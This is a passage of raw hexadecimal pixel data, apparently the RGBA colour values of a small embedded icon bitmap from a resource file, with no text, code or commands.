C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF4C813BFF52AE33FF52AB33FF51AA\n      34FF52AA34FF56A628FF2BECC6FF0B8D93FF4B4242FFFFFFFFFF42A320FF51AA\n      34FF52AB33FF51AB32FF53B033FF627C58FF5B3F9CFF6739DDFF6639DAFF6538\n      DAFF6638DAFF6030D7FFAA8FECFFFFFFFFFFFFFFFFFFB58E57FF874B00FF8C51\n      02FF8C5103FF8D5002FF8F5200FF736045FF2747BCFF1246FFFF1344FFFF1244\n      FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244FFFF1244\n      FFFF1345FFFF1244FFFF1345FFFF4A5C9FFF2A2A2AFF101010FF101010FF1111\n      11FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111\n      11FF111111FF101010FF101010FF4E4E4EFF4D843AFF4FA631FF50A431FF50A5\n      32FF51A533FF55A224FF2BF1BFFF099188FF4B4035FFFFFFFFFF419F1BFF51A5\n      32FF50A532FF4FA431FF50A730FF628058FF51399EFF532CD6FF552CD3FF562E\n      D3FF562FD3FF4E26D1FF9B83E5FFFFFFFFFFFFFFFFFFA78357FF774201FF7C48\n      0AFF7B4709FF7A4608FF7C4605FF715C44FF2D40B2FF1C34E9FF1C34E5FF1D37\n      E5FF1D36E5FF1D36E5FF1D36E5FF1D37E5FF1D36E5FF1D36E5FF1D36E5FF1D37\n      E5FF1B35E5FF1C34E5FF1C34EBFF4A579DFF282828FF101010FF111111FF1212\n      12FF111111FF131313FF131313FF131313FF131313FF131313FF131313FF1111\n      11FF121212FF111111FF101010FF4D4D4DFF4C8139FF4EA62DFF4FA22EFF50A4\n      31FF51A72CFF519E32FF323CBCFF3329C6FF3135C3FF663DDBFF499238FF52A8\n      2BFF50A431FF4FA32FFF4EA62EFF607D56FF4A329FFF4822D6FF4A25D4FF4A25\n      D4FF4A27D4FF431DD2FF957DE5FFFFFFFFFFFFFFFFFFA07C59FF6D3804FF723F\n      0DFF71400CFF723F0AFF723C08FF6D5B48FF3035ADFF2027E5FF2128E3FF2229\n      E2FF232AE2FF2329E0FF262ADFFF2628DBFF2629DEFF252AE0FF2329E0FF232A\n      E2FF2229E2FF2127E1FF1F26E7FF4F5498FF262626FF0D0D0DFF0F0F0FFF1010\n      10FF0F0F0FFF111111FF111111FF111111FF111111FF111111FF111111FF0F0F\n      0FFF101010FF0F0F0FFF0B0B0BFF4A4A4AFF43792CFF3D9C19FF3F9B1CFF409C\n      1BFF499C2BFF2F02CDFF317AABFF3110C2FF3122B3FF2D55AFFF2E23CEFF488F\n      38FF409D1AFF3F991BFF3D9D19FF5B7A4EFF3F299EFF3812D6FF3814D2FF3B17\n      D3FF3A16D3FF330ED2FF8D76E4FFFFFFFFFFFFFFFFFF9A7556FF612C00FF6632\n      05FF653106FF643004FF652F01FF675546FF794725FF9A450AFF99460DFF9947\n      0FFF99470DFF9A5724FF86411EFF554B6FFF6B544AFF88411CFF9B5A28FF9A47\n      0DFF99470EFF99470DFF9C460AFF785D4BFF202020FF000000FF000000FF0101\n      01FF000000FF000000FF030100FF070200FF060200FF020000FF000000FF0000\n      00FF010101FF000000FF000000FF484848FFBBBEB8FFFFFFFFFFFFFFFDFFFFFF\n      FFFF7266D7FF2D4DADFF3100C5FF3146BCFF3C8846FF310FB2FF2D23BEFF5B5E\n      C8FFFFFFFFFFFFFFFDFFFFFFFFFF9EA19EFF6456A7FF745CE4FF745CE0FF755D\n      E0FF755FE0FF725ADFFF9F8FE8FFF6F4F7FFF6F5FFFFAC938BFF946E52FF9670\n      55FF957056FF946F53FF977054FF786B62FF7A4323FF9A3F07FF983E0AFF983F\n      0CFF9E4006FF694445FF49A7DCFF414E6DFF3E4C86FF2A99D0FF873A1DFF9C40\n      09FF983F0BFF993E0AFF9A3E06FF785B48FFC7C7C7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC9FFFFFFD5FFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF595253FF63585AFF625859FF675E\n      50FF3414C2FF3024C1FF2E07C5FF6F50AFFF3B8C0DFF3107C7FF3122C0FF2D1E\n      C8FF685E52FF615758FF625759FF666363FFC2C3BBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFDDE8C1FF4E4D8CFF3F4433FFDAE8CDFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A2A3FF803F20FFA63A00FFA13600FFA036\n      00FFA73400FF61696BFF5A4D77FF7A8E6EFF6F725DFF536C95FF794C3BFFA536\n      00FFA03700FF9F3600FFA33400FF7C5847FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFA1EBFCFF7BE5FDFF67E0FCFFD3F6FEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF205C5FFF076A6EFF0A6A6EFF0772\n      67FF2E0FC2FF3043B8FF2A00C6FF9B948EFF466456FF3004CCFF3335B6FF331A\n      CBFF036F66FF05676BFF02686CFF476869FFBFC3C4FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFD0DCC3FF84756CFF786F97FFC8D8ABFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A39EFF2BA8C6FF1AE6FFFF1DE4FFFF1BE2\n      FFFF17E3FFFF12D0FFFF534759FFC5B291FFB97C4AFF3A5D6DFF12D1FFFF16E3\n      FFFF16E1FFFF14E2FFFF11E7FFFF4B94A5FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFACEEFCFF87E7FDFF57DDFCFFDFF8FEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF33B1A3FF28F5DEFF2AF0DAFF2AFC\n      DBFF3867CBFF3B3EBAFF3106CBFF556A9BFF5A2FB9FF2D06C6FF302CBBFF2D4D\n      BFFF1FFBD8FF1FEED5FF1FF5DDFF509991FF725B45FF936A46FF916B48FF936C\n      49FF926C4AFF906743FFB39986FFB9B4A8FFB4B3B4FF9681E1FF6349DDFF664D\n      DDFF664CDDFF644BDDFF674BE2FF695F92FF339FB8FF28D9FFFF2BD7FCFF2DD7\n      FCFF2AD7FDFF67BED4FF1B9EABFF4A6C6CFF3BB3CEFF18929AFF5DBDD6FF1DD5\n      FFFF20D3FCFF1ED1FCFF1DD9FFFF508F9DFFC6C6BBFFFFFFFFFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFBFBFBFFF6FBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA4A59FFF527E32FF60A72AFF60A52DFF61A7\n      2EFF5FAB35FF3E11CEFF407BB4FF3E27C8FF3C33C0FF376FAFFF3911D4FF599E\n      3CFF5FA628FF5EA42BFF61AA2CFF627B50FF5E3F21FF713D0AFF6F3F0CFF703F\n      10FF724111FF6C3907FFAE9072FFFFFFFFFFFFFFFFFF8268E5FF3D17D5FF441F\n      D6FF441FD6FF441ED6FF461CDDFF584D8FFF339FB8FF2CDAFFFF2ED8FCFF30D8\n      FCFF30D9FFFF33C5E2FF456369FF5B7A87FF404C4EFF37636EFF2FCFF0FF2DD8\n      FDFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF32249CFF2B11D3FF2B15CCFF2E17\n      CCFF2D18CCFF2D18CDFF2E18CDFF3019CDFF2D16CCFF2A14CBFF2913CBFF2913\n      CBFF2912CBFF2913CCFF2B12D5FF50498CFF50843BFF5DAF3CFF5EAD3DFF5FAE\n      3EFF60B03CFF61AF38FF4054C1FF3F29CFFF422CC4FF875AE6FF5AA63CFF61B2\n      3BFF5FAE3EFF5EAD3CFF5FB13CFF607D55FF604125FF774410FF774613FF7647\n      15FF784816FF72400DFFAF9374FFFFFFFFFFFFFFFFFF896EE5FF4922D8FF4F29\n      DAFF4E28DAFF4C26D8FF4D24DFFF5B4F8FFF34A0B8FF2DDBFFFF2FD9FCFF31D9\n      FCFF32D9FCFF31DAFFFF30E2FFFF2EE1FFFF30E4FFFF31E2FFFF32DAFDFF32D9\n      FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF3F309EFF3F27DAFF4029D5FF402B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF51833AFF5FB13CFF5DAD3CFF5EAF\n      3DFF5FAF3DFF64AB30FF35F4C5FF0C9188FF4B4235FFFFFFFFFF4FA929FF5FAF\n      3DFF5EAF3DFF5DAD3CFF61B43BFF607C55FF604023FF78450BFF76450EFF7846\n      10FF784711FF724006FFB09372FFFFFFFFFFFFFFFFFF886BE6FF481FD8FF4D25\n      DAFF4D26DAFF4C23DAFF4D21E1FF5A4D8EFF33A1B8FF2CDDFFFF2CD9FCFF2FD9\n      FCFF2ED9FCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF2ED9\n      FCFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF588A42FF73BB57FF71B854FF72B8\n      55FF72B855FF75B54BFF4EEDCFFF309AA0FF645A5BFFFFFFFFFF64B044FF72B8\n      55FF72B855FF71B854FF73BB55FF6C8B60FF67482FFF8D6033FF8A5C31FF8A5D\n      33FF8A5D33FF85562BFFBAA189FFFFFFFFFFFFFFFFFF9881EBFF5D3DDFFF6344\n      E0FF6342E0FF6242E0FF6543E4FF655B9DFF3CA5BDFF4BE2FFFF49DFFEFF4AE0\n      FEFF4AE0FEFF49E0FEFF49E0FEFF49E0FEFF49E0FEFF49E0FEFF49E0FEFF4AE0\n      FEFF4AE0FEFF49DFFEFF4AE3FFFF5D9DACFF453AA5FF5B47E0FF5843DDFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5744DDFF5945E1FF615B9CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF51447AFF2D2CFDFF332FE8FF3530\n      E6FF3630E6FF3631E6FF3631E6FF3631E6FF3631E6FF3631E6FF3631E6FF3530\n      E6FF3530E6FF342FE5FF3630EDFF565591FF5C45C1FF4C29DFFF4D2ADFFF4E2B\n      DFFF3E17DBFFFFFFFFFFFFFDFFFF3E17DBFF4E2BDFFF4E2BDFFF4E2BDFFF4E2B\n      DFFF4E2BDFFF4D2ADFFF4C28DFFF7465B4FFA0B689FF5AE02AFF2FD000FF3ED6\n      0FFF40D610FF40D610FF40D610FF40D610FF40D610FF40D610FF40D610FF40D6\n      11FF41D60FFF40D510FF41DC10FF598E48FFBDBDBDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF77542BFF7B4E45FF312AD9FF2C29\n      E5FF322CDBFF322CDBFF322CDBFF322CDBFF322CDBFF322CDBFF322CDBFF322C\n      DBFF312CDBFF302ADBFF2D28E1FF545293FF573DBBFF4423D4FF4724D5FF4825\n      D5FF3813D1FFF6F4FCFFF3F0FBFF3814D1FF4826D5FF4826D5FF4826D5FF4825\n      D5FF4825D5FF4724D5FF4420D4FF6D5DB0FFBEBFB1FFFFFFFFFFBDE9A1FF37C0\n      11FF32BE0AFF3CC217FF3DC218FF3DC218FF3DC218FF3DC218FF3DC218FF3DC2\n      16FF3CC217FF3BC214FF3BC514FF578C4AFFBABABAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFF3F5EFFFC6CEAFFFEDEFE4FFC8CFB2FFEEEFE7FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9F9FFF6F4E32FF8B521AFF8E5514FF4F37\n      94FF2222EDFF2A27DCFF2B28D9FF2B28D9FF2B28D9FF2B28D9FF2B28D9FF2B26\n      D9FF2C27D9FF2B25DAFF2823E0FF545192FF5339B9FF411CD3FF411FD4FF4220\n      D4FF330CCFFFF5F5FCFFF3F1FBFF330DD0FF4421D4FF4421D4FF441FD4FF441F\n      D4FF4220D4FF421DD2FF3F1AD3FF6D5CAFFFBABBB2FFFFFFF6FFFFFFFBFFFFFF\n      FFFF94D97CFF26B206FF32B813FF39BB1BFF39BB1BFF39BB1BFF39BB1BFF3ABB\n      1BFF3AB91AFF38B919FF37BD16FF59884DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFF0F2EBFFA5AF7BFFC9CEAFFFFFFFFFFFC9D1B4FFA8B181FFE7EADEFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6D4C2DFF854C1BFF864D1CFF8D53\n      10FF74473FFF2823D7FF2220E3FF2722DAFF2722DAFF2722DAFF2722DAFF2722\n      DAFF2621DAFF251FD8FF231EDFFF525091FF4F36B8FF3B16D1FF3D1AD3FF3E1A\n      D2FF2F08CEFFF6F4FCFFF2F0FBFF2F08CEFF3F1BD2FF3F1BD2FF3F1BD2FF3F1C\n      D2FF3E1AD2FF3C18D3FF3914D2FF6B5AAEFFB9B9B7FFFFFFFFFFFFFFFBFFFFFF\n      FCFFFFFFFFFFF8FBF4FF68C554FF23AB07FF34B21AFF37B31EFF38B31EFF36B3\n      1EFF37B31DFF34B41BFF34B618FF57834DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFF4FFFFFFFBFFE9F6FFFFFFFFFFFFFFFFFFFFFBFBFAFFF6F7F3FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6C4C2CFF844B18FF834C1BFF844D\n      1CFF884E18FF8C510FFF4A3292FF1C1CEEFF2520DCFF2520D9FF2520D9FF241F\n      D9FF231EDAFF221CD8FF201ADFFF504E90FF4428B7FF2700CDFF2A02CEFF2B03\n      CEFF1B00CBFFF4F2FCFFF0EDFBFF1B00CBFF2C05CEFF2C05CEFF2C05CEFF2C04\n      CEFF2B03CEFF2801CDFF2500CDFF6553AEFFB9B9B9FFFFFFFFFFFFFFFEFFFFFF\n      FEFFFEFEFEFFFFFFFFFFFFFFFFFFD7EFD3FF43B62EFF28AC0FFF35B11EFF35B0\n      1EFF34B01EFF33AF1CFF31B319FF56824EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF3297F0FF0076EBFF0B84EDFF3C9EF0FFCCE5FAFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6D4C2CFF8A501DFF854E1CFF834C\n      1DFF864F1FFF864F1DFF8D520FFF6F4036FF1F16C5FF1915D9FF1915D7FF1A14\n      D7FF1813D7FF1712D5FF150EDCFF4D4B91FFDADAD9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFC3C5C5FFB9B9B9FFFFFFFFFFF2F2FFFF3030\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFE3ADFF2FAE20FF29AA\n      17FF27AB18FF27A916FF24B213FF54824EFFB9B9B9FFFFFFFFFFFFFFFFFFD6EA\n      FBFF0D85EDFF007BECFF0C86EDFF0783EDFF1288EDFF60AFF2FFEAF3FDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF6F4E2FFF8B5320FF8B5523FF8A53\n      21FF844E1EFF844C1CFF763C07FFA78054FFFFFFF9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFFC6C2D4FFE5E0F8FFE6E1F8FFE6E0\n      F8FFE1DCF7FFFDFDFDFFFDFEFDFFE1DCF7FFE4E0F9FFE4E0F9FFE4E0F9FFE4E0\n      F9FFE4E0F9FFE5DFF9FFE3DFF7FFB8B6C2FFB9B9B9FFFFFFFFFFDADAFFFF5C5C\n      FFFFE1E1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCDDC3FFF9B578FFF9B5\n      79FFFAB578FFF8B576FFFFB979FF9B846EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFF3F9FEFFDCEDFBFF0182ECFF0079ECFF0076EAFF2793EEFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF704E2FFF8E5722FF8C5826FF8E59\n      28FF895320FF864E1CFFDCCDC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF462BB8FF360AD1FF380ED2FF3A10\n      D2FF2A00CEFFF4F2FCFFF0EEFBFF1E00CBFF2D07CEFF2D07CEFF2D07CEFF2D06\n      CEFF2C04CEFF2902CDFF2800CDFF6452AEFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E9D6FFE8B470FFE7B068FFE8B470FFE8B5\n      6FFFE9B56EFFE7B36DFFEEB96FFF96846BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFEBF5FDFFFFFFFFFFFFFFFEFF9ECEF7FF68B7F4FFF9FB\n      FDFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF705030FF925A26FF8E5926FF864C\n      15FFAE8762FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5136BAFF481ED6FF4B22D7FF4C24\n      D7FF3E12D3FFF6F4FCFFF4F1FCFF3F13D3FF4B24D7FF4A23D6FF4922D6FF4922\n      D6FF4922D6FF4920D7FF491FD6FF6B5AB0FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFCF8F2FFEEC792FFE9B772FFE9BB7AFFEABB7BFFEABB7AFFEABB\n      7AFFEABB7AFFEABC7BFFF1C280FF96856DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFB9DD\n      F9FFFAFBFEFFFFFFFFFFFFFFFFFF9E9E9EFF705030FF8F561EFF8C561FFFE0D2\n      C2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5236BBFF4C20D7FF4D23D8FF4E25\n      D8FF4013D4FFF7F5FCFFF3F2FCFF4013D4FF4F26D8FF4F26D8FF4F26D8FF4F26\n      D8FF4E25D8FF4D23D8FF4C1FD7FF6B5AB0FFB9B9B9FFFFFFFFFFFFFFFFFFFEFF\n      FFFFF2D5AEFFE8B872FFEABD7BFFEBBF82FFEBBF82FFEBBF81FFEBBF81FFEBBF\n      81FFEBBF81FFEBBE80FFF2C483FF96846DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF684520FFB38D61FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF5235BBFF4C1ED8FF4D20D7FF4D21\n      D7FF3F10D5FFF7F5FDFFF4F0FCFF3F10D5FF4E22D8FF4E22D8FF4E22D8FF4E22\n      D9FF4D21D7FF4C1FD7FF4C1ED8FF6B59B0FFB9BCBCFFFFFFFFFFF6E3C8FFEABB\n      77FFEABC7BFFEBBF82FFEBBF82FFEBBF82FFEBBF82FFEBBF82FFEBBF82FFEBBF\n      82FFEBBF82FFEBBF81FFF2C585FF96836BFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFABA198FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF583FBEFF6743E7FF6441E6FF6540\n      E5FF532CE1FFFFFFFFFFFFFDFFFF522BE1FF613CE4FF613CE4FF613CE4FF623E\n      E4FF6540E6FF6441E6FF6540E7FF7060B3FFBCB5A9FFF4CD98FFEEC388FFEFC8\n      8FFFEFC891FFEFC891FFEFC891FFEFC891FFEFC891FFEFC891FFEFC891FFEFC8\n      91FFEFC891FFEFC791FFF4CB93FFA49378FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      